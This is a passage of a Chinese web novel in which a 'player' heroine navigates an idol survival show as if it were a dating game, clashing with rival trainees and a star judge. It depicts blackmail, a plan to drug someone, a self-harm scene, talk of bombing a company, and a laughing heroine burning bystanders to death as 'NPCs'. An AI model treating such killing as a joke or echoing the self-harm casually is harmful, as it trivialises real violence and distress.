总策划讲话的语气还算温和，态度也不错，朝晖就老实坐在沙发上听着，“头发啊，我想换个发型呗，你要说啥赶紧的。”
总策划：彳亍口巴。
第一件事，是关于朝晖的公司。
现在她签到寰天，参加节目的除了她还有另外五个寰天的选手，并且她们五个的初舞台是一支五人合体的曲目，朝晖则是单独一人。
重新排练一首六人曲目？来不及，也没必要。
总策划的意思是，毕竟是同公司的人，哪怕不熟，也要在镜头面前亲切友善地相处才对嘛！
朝晖只当在过剧情，一边发呆一边点头。
第二件事，就是关于裴韫。
之前朝晖曾对总策划提出，想要“让猫猫室友成为她的员工”。
他只是个节目策划，哪里管得了这个，但又不敢无视她的话，索性把此事汇报上去，告诉了寰天娱乐和安全局的人。
“这事被云端能源知道了，他们立刻对花田娱乐（裴韫的公司）施压，表示绝不可能同意转约，除非付出天价违约金。”总策划擦了把汗，“事情就是这样，我也没办法再做些什么。”
25. 云端能源（11-12）
（11）
“云端能源？”
朝晖的耳朵捕捉到熟悉的关键词。
说来也怪，这家公司好像跟她挺有缘分，总是时不时地出现，都被给她记住了。
绝对不是因为抢了人家的矿才记住的！
“你跟他们说的是我想要猫猫换公司的吗？”朝晖问。
总策划连忙摆手：“当然没有了，我们这边提出的理由是，觉得裴韫资质很好，有别的公司想签她。”
所以云端能源并不是因为和朝晖的过节，才阻拦裴韫的。
耳边是总策划絮絮叨叨着“要和她们和谐相处知道吗？”“她们都是很优秀的练习生，你们可以做朋友！”
朝晖统统无视之，飞奔下楼冲向练习室。
奇怪的是，猫猫室友既不在寝室，也不在练习室，明明平时都会在这两个地方看到她的。
找不到就算了，朝晖打开自己的备忘录，确定好练习计划之后，便愉快地开始练习。
结果，刚刚开始不久，她就被几个人团团围住。
此时的练习室内，但凡还有一点儿眼力见的人都已经悄悄溜走，反应慢的也都被朋友拉走。于是朝晖把视线从手机上挪开时，就看见五个漂亮女孩围在她周围。
她的目光立刻牢牢地黏在了其中一人身上。
此npc身材极好，该胖的胖，该瘦的瘦，穿着练舞常见的小背心和运动长裤，一头暗红色的大波浪长卷发随意披在身后。
明明是妩媚的眉眼，却因其凌厉的表情而中和了气质，加之她脸颊处一点儿还未消退的婴儿肥，像外强中干的傲娇大小姐。
——完全戳中朝晖的萌点！
“哇塞，你好漂亮！”
朝晖打开手机中的相机，对着漂亮npc大拍特拍。
气势汹汹地冲过来、在心里预演了无数次要怎么跟她吵架的盛绫儿：……？
“拍什么拍！”
盛绫儿本想一把将她的手机打掉，临到关头时，紧急回忆起对方的“怪力”传闻——她只得立刻刹车，转为用手遮住摄像头，脸憋得通红，“真是……真**有病！”
朝晖倒也不恼，因为眼前的五个npc身上都有互动标志。
“有什么任务要交给我吗？”她睁着清澈的大眼睛，兴致勃勃地问。
盛绫儿：“……”
似乎是朝晖的表情过于纯真无邪（？），盛绫儿觉得自己刚才仿佛是一拳打在了棉花上，情绪不上不下的，气得翻了个白眼。
对着一个傻子发脾气，实在无趣极了，就跟对牛弹琴似的。
诸华清见盛绫儿不说话了，这才上前一步，笑吟吟地问：“朝晖，你好，你可能不认识我们。我叫诸华清，她叫盛绫儿，我们几个都是寰天文化旗下的练习生。”
“听说你也签约了寰天，我们都觉得很高兴，以后就是同事了！我们可以多多交流一下，成为朋友，你觉得呢？”
“好啊。”朝晖道。
诸华清也很漂亮，但她是淡颜系，有点不食人间烟火的气质，不符合朝晖的审美。
所以朝晖径直对盛绫儿道：“小红，你愿意成为我的员工吗？”
诸华清：？
其她人：？
盛绫儿：“……小红是谁？”
“你啊。”朝晖说，“红色头发，很漂亮～嗷，系统，我能不能也去染个头发？”
“……”
诸华清几人此番前来，有以下几个主要目的：
一是试探试探朝晖的底细，二是就昨天食堂盛绫儿“拍桌”之事达成和解，三是敲打敲打朝晖，让她老实点。
没想到对话还没开始五分钟，诸华清已经累了。
“清清姐，我看你还是别跟她聊了，就她这脑子，我真怕多说两句话会被她给传染。”盛绫儿讽刺道。
诸华清还想努力一下：“朝晖，我比你虚长一岁，就叫你一声妹妹可以吗？你还记得昨天食堂的事情吗？我替绫儿给你道个歉，她也是一时没控制住情绪。但你的言行也的确有些不妥，要是节目开播之后还这样，可能会让观众不满意的……”
盛绫儿不屑地“啧”了一声：“唉，你还劝她干啥？我看她开播之后十有八九就会被骂死。”
正在发呆的朝晖猛然回过神，捕捉住关键词：
“食堂？食堂怎么了？难道他们的菜单更新了？之前的菜真的太难吃了，简直比我大学食堂还恐怖！”
诸华清：“……”
其他人：“……”
一个npc小声劝道：“清清姐，算了吧，你是好心，她不领情是她的事。绫儿姐确实不该发脾气，可练习生们私底下都觉得绫儿姐帮她们出了口气呢。”
诸华清叹了口气。
这道理她又如何不知道呢，她又不是自己想过来找对方谈话的。
她的经纪人私下嘱咐她，说朝晖不好惹，叫她尽力去跟对方打好关系。
实在聊不成朋友，也万万不能交恶。
可这……
完全就是无从下手啊？
朝晖这种人，时不时就走神、经常无视她人存在、偶尔冒出几句乱七八糟意义不明的呓语……
说她脑子有病，这不是骂人，而是陈述事实才对吧！
也许是她沉默的时间太久，表情也有些不好看，盛绫儿瞟了她一眼，低声道：“这又不是你的问题，经纪人怪不了你。”
她们俩一直都被公司拿“青梅竹马，两小无猜”的名头宣传，倒也不是全为营销。
7年前一起进入公司训练，互相竞争的同时，也互相扶持着，彼此之间再了解不过了。
一个表情，一个眼神，就能猜到对方的意思。
诸华清也放低了声音：“不知道她背景到底是什么。我只听说余烬……”
“pd？”另外四人满脸震惊。
所谓PD，Producer，制作人，就是选秀综艺当中那个主评委，一直以来都由圈内比较知名的前辈/偶像艺人担任。
此次《星光训练营》请到的余烬，算是近年来最大牌也最年轻的一位了。
“嗯。”
诸华清聪明又听话，因此经纪人会把很多小道消息告诉她。
她有意提点其他几个人，特地说得详细一些：“节目开播之后，你们一定要注意一点，别惹到余烬。朝晖的话……就随缘吧。”
当着人家的面说别人小话，当事人朝晖却依旧在原地发呆，一副神游天外的模样，似乎什么都没听见。
众人都没了脾气。
盛绫儿咬着嘴唇：“艹，就她？余烬喜欢脑残？这都睡得下去，男人真恶心！”
有个二五仔小声提出异议：“可是，她长得还挺好看嘞。”
也有人羡慕：“余烬啊……至少他长得帅，够大牌。”
诸华清听她们这么说，忍不住揉了揉太阳穴：
“你们傻啊！余烬哪有那么大能量？寰天里面肯定还有其他人保她，所以你们都悠着点。”
“不管她怎么样，在镜头面前我们就客客气气的。这是为了你自己，为了节目播出后的观众缘，明白吗？”
朝晖本来在发呆过剧情，可这段剧情走到一半，她忽然听见系统提示。
“【只手遮天的财阀】任务进度5/100。”
这个描述很不明确的长期任务，进度增长了足足三个点！
玩家的眼睛，顿时就如同电灯泡那样亮了起来，紧紧地注视着其他人。
诸华清：“……怎么了，朝晖？”
“听你们聊天呀。”
“……”
盛绫儿心头涌上一股怒火。
这股怒火中夹杂着酸涩，以及令人心脏揪紧的嫉妒。
并不是嫉妒她漂亮，或者嫉妒她跟“顶流”有什么联系。
而是嫉妒她这么蠢这么有病，却能拥有那么多的后台保护她。
盛绫儿从小到大，都视诸华清为自己的唯一对手。
她们是整个寰天年轻一辈中资源最好、最受捧的两个女艺人，寰天花费了很多资源来和节目组交涉，只为确保她们俩能够稳定拿下至少前三名的出道位。
而寰天，又是整个洛川最厉害的娱乐公司！
因此，盛绫儿毫无疑问是骄傲的，她天不怕地不怕，自认为未来绝对能够闯出一番天地。
但就在几天前，经纪人忽然警告她们：要和朝晖交好，不要惹她，甚至于最后的出道位，也要与她分一杯羹。
节目组说，如果朝晖能靠自己走出黑红的道路，给节目组带来足够的流量，就让她进入出道位。
寰天早已和节目组达成“黑幕”，寰天五人组保底出道两人，第三人的概率也很大。这第三人的人选，本来应该是五人组当中另外三人的其中一个。
她们三个和盛绫儿一起训练，她们付出的努力，盛绫儿是看得见的。
可朝晖？凭什么？
凭什么一来，就抢别人的东西？
——凭什么拥有那么多，还露出这样一副天真懵懂的表情？
于是，脱口而出的话便成了刀子。
“姐姐，知道你很牛x很会睡，是我们这种小角色不该惹你。诸华清，我先走了。”
诸华清忙去捂她的嘴：“哎，你！抱歉啊，绫儿她不是这个意思……”
“等等。”
朝晖一把拉住盛绫儿的手腕。
这个红发女孩是一名合格的偶像，对自己的身材管理非常严格——手腕细得没有一丝脂肪，只有恰到好处的一层薄薄肌肉。
盛绫儿只觉得自己的胳膊像是被铁钳钳住了一般，动弹不得，这种绝对的力量差距带来不仅仅是害怕，还有无法控制的屈辱。
“你干什么！？神经病啊！？放开！！”她大声斥骂。
朝晖没费什么力气就拉住她，不解地挠挠头：“干啥？我没有要打你啊——我就是问问你的话什么意思？很牛x很会睡……？我睡觉时间是比较少啦，两个小时就能回满精力哦。不对，现在大概要两个半小时才行。”
盛绫儿崩溃了。
“你有病吗？你为什么这么蠢啊你的脑子是不是被车撞过？你给我滚开行吗？你睡到余烬很得意是吗？还有哪个寰天的人？你的经纪人是卫文谨——我知道他，那就是董事长？董事长竟然能看上你，我们拿什么和你比？”
“你滚啊，滚开滚开滚开——”
“啊……原来你是这个意思啊。”
朝晖紧紧地抓住她的手腕不放，轻轻歪着头，“潜/规则？我没有啊，你为什么这么想？”
“是因为……在你的身边，这样的事情太过常见，所以你认为我也是如此，对吗？”
（12）
想要成为明星，如果只是需要服从公司上级的指令，那还算幸运了。
大部分人在成名之前，都要频繁出去参与社交——上司谈生意的时候，出席酒会的时候，资源置换的时候——漂亮的年轻男孩女孩就是宴会的调剂品，和烟酒、美食一样，用作消遣。
盛绫儿疯了一般地挣扎，似乎感觉不到疼痛。朝晖只好放开她，免得把她弄伤了，导致自己完不成“姜瑶的请求”这个长期委托。
姜局长说，假如她不惹事，就会一直给她送饰品。
所以能不惹事朝晖还是不会惹的，就算惹了，也要想办法瞒着安全局（？）。
盛绫儿跑掉之后，诸华清等人也急急追了出去，此刻练习室中，只留下朝晖一人。
“系统，听刚才小红的意思，她是不是遇到了不太好的事情？”
朝晖摸摸下巴，仔细分析：“毕竟任务名字叫做【只手遮天的财阀】，想来无权无势的小偶像也没办法抵抗吧，只能乖乖听话。”
系统沉默片刻，轻轻道：“请玩家自行探索。”
“呀——真是让人拳头发痒啊。”朝晖又想出去创人了，“听她的语气，潜/规则还挺常见的。那么继续挖掘下去，说不定能从小红身上挖到新的支线任务……等等。”
从来都无忧无虑的玩家，心头忽然泛起一股冰凉。
“这节目里可是有差不多一百个小女孩，很多都没成年……小红成年了吗？”
朝晖跑回宿舍，还是没有找到猫猫室友，只得自己上网搜索。
……但她不记得小红的名字了。
不过，或许她也不必要继续查下去——就算小红已经成年，看她的样子也没有多大年纪。
而此类经历，绝不可能是近期才发生的，也许从过去几年就已经伴随着她。
“喂，一款乙女游戏而已，有必要把背景设定得如此黑暗吗？”朝晖抗议，“该不会是为了增加女主角被骚扰、男主挺身而出帮助她的情节吧？”
系统：“……”
“唉。”
朝晖瘫在床上，觉得有点累累的。
“系统啊，现实中已经过得很压抑了，我就想在游戏中放松放松自己，你们这样进行背景设置，有点太毒了吧？”
“假如我真的是一个普通的小偶像，遇到想要骚扰我的人——该怎么办，等谁来救我？卫文谨？余烬？其他男主？他们有异能，有社会地位，所以我就从某一个男人的猎物，变成了另一个男人的附属品咯？”
“打上了某个有权有势的男人的标签之后，我就‘有主’了，这样才能保护自己不被骚扰，是吗？”
“……不是这样的。”
“？”
难得听见系统如此讲话，朝晖眉毛一扬。
“有您在，一切已经改变了。”系统说，“您不是一个普通的偶像——所以这些事情不会发生。”
“咔哒。”
宿舍门被轻柔地推开，是猫猫室友回来了。
朝晖有点累，以至于她没有心情跟猫猫室友打招呼。
裴韫却仿佛被吓到了一般，以蜗牛的速度挪到床边，时不时小心翼翼地看一眼朝晖。
“姐、姐姐，晚上好。”她小声开口。
平常，朝晖见到她都非常热情，似乎总是有着用不完的精力。
今天却如此反常……
裴韫立刻开始思考自己哪里做错了，是不是惹到了朝晖，让她对自己产生了厌恶。
“晚上好。”朝晖懒懒地道。
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裴韫悄悄松了口气，“那，我先去洗漱一下，晚上去练习室——姐姐你去吗？”
“不知道，等会儿看看吧。”朝晖说。
她在思考能不能弄点炸药来，把寰天文化公司大楼给炸了？
“系统，我的主线任务是在《星光训练营》这边，所以寰天要是被炸了，应该不影响我做任务吧？”她认真地问。
系统：“……请玩家慎重思考，不要违法乱纪，以免造成卡关、坏档等情况……”
“弄到炸药还是比较难的，要是有炸弹之类的异能就好了，可以去借用一下……”
“唉，牙刷没了，我还得先做一个新道具才行。用什么材料呢？好想要把枪——”
裴韫眼见朝晖又开始自言自语一些半懂不懂的、危险的话，把她当空气，便赶紧捂住耳朵，收拾收拾东西进入洗手间。
锁好门后，朝晖是绝对不会进来的。
或者说，朝晖几乎从来没有进入过洗手间。
浴室内的沐浴液、洗发液，洗手台上的护肤品、化妆品，全都只有裴韫的那一份——以前朝晖还在这儿放了把牙刷，现在也不见了。
光看这个洗手间，宿舍里似乎只生活着她一个人。
安全感包围了她，裴韫慢慢从口袋里掏出一样东西，那是一把水果刀。
她蹲在浴室里，闭上双眼，下午与“那个人”的交谈浮现在耳畔。
“下药？”
裴韫忍不住退后一步，不停地摇头，“不可能，我没骗你，她……她从来不吃外面的东西。”
对方不相信，“你们住一间宿舍，她还能不喝水？或者你让她陪你出门，带到我这里来。”
“她这个人，脑子有问题，很疯……”
裴韫低着头，一字一句地慢慢说着，“你也知道的，我根本和她扯不上什么关系，她也不会听我的话，更别提陪我出门了。”
“那你就自己拍啊！！你想办法让她喝水，给她拍照！！就这么简单的事情办不了吗？！”
那个人不再是人，他变成了魔鬼。
充满恶意的言语像怪物的触手，将她勒得喘不过气，“需要我再提醒你一遍吗？你的照片还在我手里——”
“我有另一个办法。”
裴韫的神色变得冷漠，“也能让她身败名裂，而且没有人会怀疑。不过，要等到节目开播，但不会太久。”
*
猩红的血液滴下，熟悉的颜色，温热而又冰冷。
血液流淌的时候，人是冷的，像被冰块裹挟着，体温缓缓下降。
裴韫面无表情地割裂自己的皮肤，一声不吭。她早已习惯。
衣物遮盖之下的身躯，旧伤纵横，只留下浅浅的疤痕。新的伤口覆于其上，像一幅荒诞的画。
完成“作品”后，她用水把地板上的血迹冲洗干净，再用纱布包好伤口，最后穿好衣服。
*
朝晖最终决定先刷技能。
寰天文化非死不可，但谁让玩家现在暂时还没能夺回自己真正的力量呢！
这就好像要去打boss，如果稀里糊涂地往上莽，最终不过是浪费时间读档重来。
提前做好充足的准备，是一名优秀玩家的合格素养。
她要先升一级，给【创作】多点一个天赋点，再制作新的道具；制作完后，她还需要找一个更好用的异能。
卫文谨的异能又强又帅，奈何它属于爆发技能，且更偏向于单体攻击。
aoe伤害严重不足，持续时间也很短——除非有大量的回血药供应。
本来她还想囤点药，上网一搜价格……呵。
你们这里的药是用晶石做的吗！？
药品商明明可以直接抢她的钱，却还给她送了一点药，他真的，她哭死！
“药品的价格非常昂贵。”系统说，“每年都有大量的穷人死于可以治愈的疾病……”
不知道是不是玩家的错觉，系统的话似乎变多了些，也更有人情味了。
“你的ai是不是升级了？”朝晖直白道。
“……”
系统不想再理她了！
朝晖也不管它，把计划记录在小本本上之后，她就去练习室了。
时间很快来到正式录制的那一天。
节目组说封闭就封闭，甚至手机都要上交。好在大家都知道额外准备一个备用的手机，朝晖也在伊尔莎的热心帮助下，交上去一个备用机，免去无法玩手机之苦。
在此期间，她为防止意外，还是跑到仓库取了部分能源，重新搓了个道具带在身边。
【平平无奇的卷纸：
它看起来平平无奇，却有着不一般的能力。
拆下一片卷纸，将其贴在目标脸上，会让目标触电，并开始打蚊子。
在此期间有几率触发“偷窃（被动）”。】
这个卷纸，就是当初朝晖跑进矿场偷……咳咳，捡能源时候，存在【创作】界面用来收矿石用的那一卷。
反正也是临时用用，手边又没有什么好用的原材料，索性就决定是它了！
本着“材料最好丰富一点”的烹饪精神，她还在原材料中加入了防蚊喷雾、无线充电插座这两样物品，都是从经纪人车上薅来的。
“怎么说呢……”
哪怕是玩家，也觉得它的效果略显一言难尽。
但它使用起来，比牙刷方便了很多，她只要把它按在目标——也就是目前唯一的借异能人选，卫文谨——的脸上就行。
经纪人再也不用被刷牙了，这，怎么不算是一件美事呢？
而且，触电的这个debuff，也算是个强力的小控制技能。
下次再遇到心怀歹意之徒，只需撕下卷纸一片，将其往对方脸上一贴，便可趁机逃脱！
这么想，还挺帅的嘞～
为了安全起见，朝晖就把这个卷纸用绳子串住，绑在腰上，随身携带。
正式录制之前的彩排现场，现场工作人员忙个不停，指挥练习生们走位、排演，给她们把麦克风装好，并指导她们注意镜头位置。
终于有一位眼尖的员工，发现了这卷不同寻常的卷纸。
“97号选手，朝晖……”
员工忙了很久，累得不行，语气难免有些不好：“你干什么呢？正式录制初舞台的时候，要穿自己的衣服，不要穿练习生制服！还有你腰上挂着的那个，什么东西啊，赶紧拿掉！”
听到这个名字，四周骤然一静。
不知不觉间，“朝晖”两个字，已经有了大魔王的效果。
当事人，朝晖，正神游天外，压根没听见。
员工怒火上头，正打算骂人，却被自家上司、节目总策划/总导演两人的眼神阻止，紧急闭上嘴巴。
总导演挤出一个难看的笑容，将手中厚厚一摞人员名单翻个不停：“朝晖的助理……伊尔莎？伊尔莎在吗？赶紧过来，把她带去换一件衣服！记得把名牌给她贴上！还有她这个头发，被狗啃了吗？造型师在哪？快给她修一下！”
“至于这个挂饰……呃……卷纸……算了，随便你们吧……”
26. 云端能源（13-14）
（13）
伊尔莎此时此刻才发现一个严重问题：朝晖根本没有自己的衣服。
衣柜里挂着一套白衬衫格子裙，一套白t恤休闲裤（来自经纪人友情赠送）——没了。
这套格子裙怪眼熟的，没记错的话，伊尔莎第一次见到朝晖时，对方就穿着这么一身，后面再也没换过。
仔细想想，她好像也没带过行李箱，没人管过她……
伊尔莎脑海中不自觉浮现出各种猜想，被她强行压下，把注意力集中在眼前。
“还有一套换洗的练习生制服呢？”她问。
朝晖不好意思道：“那个啊……不小心弄丢了。”
那套衣服在她化身触手怪闯荡矿场的时候，就已经壮烈牺牲啦；；
当天，她是穿着卫文谨送的衣服回来的，也就是白t那套。衣服可能是经纪人拜托阿姨在附近临时买的，款式太平常，也不够合身，所以不适合在初舞台的时候穿着。
“你自己这套这衣服……也不丑，就是太普通，而且跟节目组的制服有点像，可能不太行。”伊尔莎苦恼地思考。
——这是她的失职，她没想到自己一个小助理，竟然还要负责帮艺人搭衣服！
但这位艺人是朝晖，一切皆有可能。
好吧，伊尔莎承认，没有把“上司的脑子不太正常”这一点纳入考虑，是她的问题。
“不行就穿我的吧，我们俩身材应该差不多。”
伊尔莎出身贫民窟，签下卖身契，底薪为0，到现在她的新老板朝晖也没给她发过工资。
所以她也没几件好衣服，基本都是简洁的基础款运动装。
她发挥自己全部的美学实力，选了一件短款长袖连帽卫衣，搭配朝晖自己那条格子裙，下面是长度不到膝盖的中筒运动袜，脚上是运动鞋。
勉强称得上青春洋溢。
可能是混血的缘故，伊尔莎自带人种优势，腿特别长。
没想到朝晖的腿有过之而无不及，这卫衣穿在她身上，原本是短款露腰的款式，此刻却只将将露出一小截劲瘦的腰，短裙下面全是腿。
“有腹肌诶。”伊尔莎道。
朝晖不仅有明显的腹肌，手臂和腿部肌肉也很紧实，摸起来硬邦邦的。
看起来精瘦，但发力充血之后，肌肉就会很明显。
“哇，这就是给力量加点的好处吗？”朝晖低头摸自己摸个不停。
伊尔莎：……
自家上司的表情实在一言难尽，要不是她摸的人是她自己，伊尔莎恐怕都想报警了。
“换好了吗？快点出来剪头发！”造型师敲门催促。
伊尔莎忙帮朝晖把名牌绑好，一块很大的印着名字的纸牌，绑在正面，方便彩排时候导演喊人。
在朝晖的坚持下，倒霉助理最终还是妥协，将那卷【平平无奇的卷纸】给她绑在了后腰，和连接耳返、麦克风的连接器*并排挨着。
造型师给她修剪头发，把狗啃般半长的及肩发剪短，大约是刚好垂到肩膀上面的长度。没做额外的造型，只是用吹风机吹得蓬松。
另一个造型师冲过来给她化妆、整理服饰。
这是个简单的活儿，因为这孩子不怎么需要遮瑕，一款大众妆容即可惊艳四座，造型师早已把这种简单妆容练得闭着眼睛都能画，手“唰唰”地就给她画好了。
崭新出炉的朝晖被火急火燎地拉进排练场地——也就是本综艺舞台所在的大厅。
节目最开始的内容，是安排众多选手们根据公司分组，一个个地从走廊进入这个大厅。
等到所有人进入之后，各自选好位置坐下，才会正式开始初舞台的表演。
这段内容会从明天下午开始录制，一直持续到晚上。第二天，她们再去往另一个场地，补录自我介绍、心得感想之类的东西。
在此期间，镜头是从头到尾跟随着她们的，后期会挑选有价值的镜头剪辑进去，凑够两期内容。
除了某些已经被安排好剧本的“皇族”之外，其他的人镜头量，就只能看自己表现了。
“都过来都过来——”
导演组的人安排着众人进行走位，“看到初舞台表演的顺序表了吗？现在都去检查一下，一定要确保你把bgm上传成功，否则出了问题导致舞台效果不好的话，节目组概不负责。”
朝晖打开手机，根据指引，将她自制曲目的bgm上传至节目组的官方群。
这时候，就不得不给这首歌取一个名字了。
总不能还叫“未命名rap片段”吧？
“那就叫魔法少女之歌吧。词：朝晖，作曲/编曲：朝晖，编舞：朝晖……哇，真帅！”
系统：……
100来号人排队等彩排，其实还挺无聊的。
但现场不乏许多漂亮npc小姐姐，还有裴韫跟伊尔莎一左一右站在她旁边，朝晖便也觉得能够接受。
裴韫内敛，伊尔莎也是个话少的人，两个都是面对陌生人比较拘谨的性格，站在那儿也不说话。
朝晖看着她俩，仿佛打量着自家地里的两颗大白菜，觉得很满意。
她们俩跟自己差不多高，长得又好看，就很养眼，非常适合作为她的队友！
莎莎已经是她的员工了，猫猫也已被她视作势在必得的未来员工。
只待她蛰伏片刻，刷主线任务升升级，便可恢复属于命运之子·玩家的真正实力，一举摧毁云端能源，将猫猫捡回家！
那么，距离游戏主线所需的“凑够至少五人组成女团”，就还差两个人。
她的视线飘悠悠地转向了舞台正中央。
——是寰天文化五人组正在彩排。
“把寰天炸掉之后，让小红也成为我的员工好了。”朝晖严肃地点点头，“嗯，她旁边那个也蛮漂亮的，她们俩看起来还挺搭配，不错，五人女团，这不就齐活了？”
系统：……
伊尔莎：……
正在此时，门口处出现一阵骚动，一群人挨挨挤挤地涌进来。
伊尔莎小声解释：“导师们也来彩排了。”
裴韫竖起耳朵，退后一步，把自己隐藏在朝晖的侧后方位置，竭力保持低调。
玩家却昂着头，兴致满满地眺望：“哦？导师都有谁？”
裴韫：“……你不知道吗？”
朝晖正想说不知道，却听见系统提示音在耳畔响起。
“您已解锁新的【恋爱】人物卡【余烬】。”
“叮！您已触发人物卡【余烬】相关剧情【顶级偶像】，开启好感度、亲密度系统。”
所谓人物卡剧情，类似于乙女游戏中男主单独的恋爱剧情，推进的话可以获得好感度、礼物之类的东西，解锁约会，跟男主亲密互动。
自从卫文谨的好感度变成负数之后，朝晖便再也没有关心过【恋爱】界面。
“新男主啊，他在哪儿呢？”朝晖啥也没看到。
人太多了！
练习生们都是年轻女孩，看到圈内大前辈们，难免激动，场地内“嗡嗡”地充斥着各种噪音，仿佛有一百只鸭子在叫。
“安静，安静！”总导演喊着，“其他人让开！你们先过来看一下位置，就在这边……”
人群被疏散后，朝晖终于看见了五个导师。
1个PD，制作人，导师的领头人，也类似于主持人；另外四个导师则分别负责唱、跳、rap、综艺感（？）。
五人凑在一起，正在导师座位附近寒暄。
“就那个金毛？”朝晖扬眉。
场地内的摄像头移向导师座位，大屏幕上投出他们的脸。诸位导师很有礼貌地和练习生们打招呼，换来阵阵欢呼。
五位导师当中，有一个特别鹤立鸡群的金毛，盖因他头上飘着两个白色大字，“余烬”。
他个子高挑，长腿细腰，穿着一件黑漆漆摇滚风的夹克，耳朵上七八个金属耳钉，亮瞎人眼。
他眉毛浓而微乱，五官非常立体，脸却只有巴掌大，眉眼和脸型都透着股“野生感”，像非洲大草原上奔跑的猎豹。
他表情冷酷，一副别人欠了他五百万的样子，就差把“BKing”几个字母纹在脸上了。
“杀马特。”朝晖如此评价。
系统：……
或许是朝晖打量的目光过于明目张胆了点，又或许是她们这一片的海拔着实有些高*。余烬的目光投过来，虚虚地和朝晖对上眼神。
“哇！！”
周围一片惊叹声。
妙龄少女们像鸟儿一般叽叽喳喳，“PD真人比照片还好看啊，不上镜！”“回头蹭个合照，一轮游也算够本了。”
朝晖其实比较喜欢此类浓颜系长相，却对余烬并没有什么初始好感。
“他看起来性格就不太好相处。”她点评道，“就是会在乙女游戏中打压女主、捉弄女主，光明正大pua，还被维护成‘他只是太傲娇/太直男，所以不会表达爱意’的类型。”
系统：“以貌取人、刻板印象不太好吧？”
“我说的不对吗？”朝晖道。
系统：“……”
她说得竟然还真挺对，因为余烬这个男主吧，的确就是那样的性格。
似乎每个乙游里面，都要有这么一个跟女主抬杠的角色，好像不这么设定的话，就不能体现出女主是多么的温柔善良、体贴包容、不屈不挠、坚毅勇敢。
没有异能、在某方面不如男主的女主，似乎只能通过展现比对方更加优秀的品格，才能让自己“配得上”对方。
朝晖对此表示嗤之以鼻。
她是女主诶，她是玩家诶！
她在现实里包容老板也就算了，那是为钱所迫，不丢人。
怎么玩个游戏还要包容纸片男人啊？
却在此时，余烬忽然拿过麦克风，对着朝晖的方向挥挥手，“朝晖选手，久仰，过来认识一下？”
安静。
绝对的安静。
整个场地仿佛被按下静音键，又或者刚才乱叫的一百只鸭子全被一瞬间掐住了脖子。
余烬旁边站着一个矮胖的男人，似乎是他的经纪人或者助理，正不住地擦着汗，拼命给余烬使眼色，却被无视。
“叫我干嘛？”朝晖说着，悠哉地存了个档，然后大摇大摆地沿着阶梯往下走，还不忘对系统说：“你瞧瞧，我刚说啥来着？这才初次见面，就让女主如此下不来台。呵，他不会以为自己这么做很苏吧？”
伸出尔康手的伊尔莎&瞪大眼睛却不敢阻拦的裴韫：……
走到男主面前，她才发现，嚯，这家伙是真的高！
卫文谨足有188，已经很高了。
但朝晖感觉，余烬比他还高点儿，保守估计，怕是冲着190往上走。
“现在的乙游男主这么卷了吗，没有一米九都不好意思出来见人？”朝晖嘀咕。
这段话有少许打码部分，余烬耳朵微动，嘴角似笑非笑地扯起：“他们说你脑子有病，我还不信，原来你是真有啊。”
“看到没看到没，被我说中了吧，刚一见面他就骂我！”朝晖眉飞色舞地对系统道。
系统：……
被完全无视的余烬：……
玩家对于男主的反应不理不睬，径自打开【余烬】的资料卡。
卡上显示，他的身高明明就只有187.5！！
“你是不是穿了内增高？太虚荣了吧！”朝晖用狐疑的眼神打量着对方那双黑色马丁靴。
余烬：“……这是鞋子自带的鞋跟。对了，等会儿彩排完到12号休息室找我，跟你说个事。现在你……”
“噢。”
朝晖其实并没有仔细听对方讲话。她单手放在身侧，已经悄悄地做好了准备。
下一刻，她手一伸，以迅雷不及掩耳之势，把刚刚撕下的一片【平平无奇的卷纸】贴在了对方脸上！
原本，她是怕新道具效果不好，为避免浪费时间读档再试一次，因此才悄悄发动。
万万没想到，此卷纸效果惊人，竟不输牙刷！
那白白方方的纸片刚一贴上，余烬立刻就挥舞起手臂，开始打蚊子，并且身体诡异地抽搐着，仿佛触电了一般。
“保安！保安！！”
周围的人都被这变动给震在原地，唯有总导演勉强捡起理智，颤颤巍巍地掏出手机求救。
朝晖一拳打向总导演，他胖胖壮壮的身体仿佛变成了炮弹，直直飞出。
没想到，下一秒，总导演还真就在半空中炸成了一团绿色的烟花。*
（14）
朝晖烧起来了，字面意义上。
8秒控制时间已过，她又已经偷到异能，卷纸不再生效，余烬目瞪口呆地看着她。
“你还藏了别的异能？”
余烬不是傻子，刚才他用不出异能，又被未知的力量控制住，朝晖一定是对他做了些什么。
现在的她，竟然用出了和他相差无几的能力……
是“复制类”的能力，有可能还有控制效果，这简直不可思议！
“哇哈哈哈哈！！我的天呐！！”
朝晖哈哈大笑，随手一挥，周围的椅子、墙壁、道具物品就纷纷沾染上无法熄灭的火焰，并逐个爆炸开来，“这是什么异能，太他爷爷的帅了！！”
npc们仿佛触发了固定程序一般，又开始尖叫着逃跑。不少人被火焰烧着、被爆炸牵连，也有人被其他人踩踏之后跌倒在地。
绝望的尖叫声与她猖狂的大笑交织着，奏响一曲宛若来自地狱的乐章。
血色火焰滋滋作响，将无法逃离的受害者吞噬殆尽。
“你疯了！？”余烬怒火上涌。
他知道自己的异能破坏性太强，又极易失控，所以从不在人多的地方使用。
但面前这个疯子……
她是真的疯子！
逃出去的人肯定会报警。余烬咬咬牙，用力把落在后面的几个人给推出门外。
他的身体素质很好，又不惧火焰。场地内倒在地上不能动弹的幸存者，都被他抱着送出去。
普通人离开之后，门被关上。
他的金色头发无风自动，身上爆发出一股强大的能量，汹涌的火焰扭曲了四周空气，如潮水般蔓延开，将朝晖仅剩的“玩具”全部摧毁。
火焰慢慢聚拢，将朝晖包围，与她进行对抗。
“啊呀……打不过，我只有70%的能力。”朝晖不熟练地控制着火焰去应对。
这个异能特别特别好玩，简直像是魔法师，可以控制火焰燃烧，甚至造成爆炸。
但——它耗蓝！
玩家有血量值（红条），自然也有法力值（蓝条）。不过目前来说，她所有的技能都用不上法力值。
系统的解释是，基础技能如【海妖之声】【远古之舞】并不需要耗蓝，后期的大招才会用到。
比如【死亡歌喉】之类的。
但现在，她的蓝条正以不快不慢的速度被消耗。
“……不嗑回蓝药的话，差不多是四五分钟，只比触手好一点点。”朝晖郁闷，“没想到你们游戏对于异能的设计还挺平衡的。”
系统：……
“唉，没有加强【创作】后期的天赋的话，我肯定打不过他，可恶！”
朝晖很难受。
不过新异能还真的蛮有意思的，用好了的话，想必能起到出其不意之效果。
余烬还在那里对她大声喊话：“你刚刚杀人了知道吗？你是不是疯了？快停下来！”
“我看你才是疯了吧，刚才无缘无故的喊我干什么，有什么事情不
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能私下里说？这难道又是乙女游戏必备的玛丽苏情节？”
朝晖嘀咕着，继续操控火焰跟他对轰。
